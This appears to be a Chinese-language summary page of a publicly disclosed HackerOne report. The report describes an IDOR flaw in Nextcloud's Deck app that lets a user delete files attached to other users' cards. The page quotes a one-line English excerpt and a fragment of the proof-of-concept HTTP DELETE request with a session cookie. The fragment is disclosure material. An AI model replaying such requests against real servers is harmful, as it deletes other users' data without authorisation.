Possibility to delete files attached to deck cards of other users
不安全的直接对象引用 / IDOR / #1755555
该报告还没有中文解读。
原文摘录
摘自原文（3685 字符中的一小部分）
I come to report here an IDOR vulnerability on the Deck application of Nextcloud, allowing to delete any attached file(s) on any cards.
原文中的代码
DELETE /apps/deck/cards/63/attachment/file:116 HTTP/2 Host: redacted Cookie: oc_sessionPassphrase=1icX1AnixyJWysU9xZCwhaEr%2Bb8TM%2FNvgck%2F1nv216h1fLefCLcWN5Vt%2BgO3%2BXH3wj4Xpo0GW4mLDt52A32%2FVZb4xUZKZq0kgpbIC1InAY8bT1UF4Ef%2BFD7ciOexHI1X; __Host-nc_sameSiteCookielax=true; …
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Nextcloud 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @supr4s · 版权归作者与 Nextcloud 所有